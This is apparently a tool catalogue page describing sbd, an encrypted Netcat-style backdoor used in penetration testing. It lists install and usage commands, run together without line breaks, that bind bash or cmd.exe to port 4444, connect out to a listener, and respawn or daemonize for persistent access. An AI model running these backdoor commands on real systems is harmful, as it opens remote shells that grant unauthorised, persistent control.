sbd
sbd is a secure Netcat-clone that provides strong encryption for backdoor access on Linux and Windows systems. It supports program execution, source port selection, and continuous reconnection.
Description
sbd serves as a portable backdoor tool for Unix-like systems and Microsoft Win32, featuring AES-CBC-128 + HMAC-SHA1 encryption. It is designed for secure remote access with capabilities like executing programs upon connection and handling TCP/IP communication exclusively. Common use cases include establishing encrypted shells or command execution in penetration testing scenarios.
The tool allows listening for incoming connections or connecting outbound, with options for respawning connections and daemonizing. It supports invoking shells directly, particularly useful when setuid root for privileged access. Additional features include immobility timeouts and background operation, making it reliable for persistent access.
sbd is lightweight, with an installed size of 163 KB, and depends on libc6. It is licensed under the GNU General Public License.
How It Works
sbd operates over TCP/IP using AES-CBC-128 + HMAC-SHA1 for encryption when enabled. In listen mode (-l), it binds to a specified port (-p) and address (-a), executing a program like bash (-e) upon connection. Client mode connects to a host and port, establishing an encrypted tunnel for command execution or shell interaction. Features like -r enable reconnection attempts with delays, while -D daemonizes the process. Unix-specific options like -s invoke shells directly.
Installation
sudo apt install sbdFlags
Examples
sbd -l -p 4444 -e bash -v -nsbd 192.168.1.202 4444sbd -hsbd -l -p 4444 -e bash -r 5sbd -l -p 4444 -s -D onsbd -l -p 4444 -e cmd.exe -c onsbd 192.168.1.202 4444 -p 12345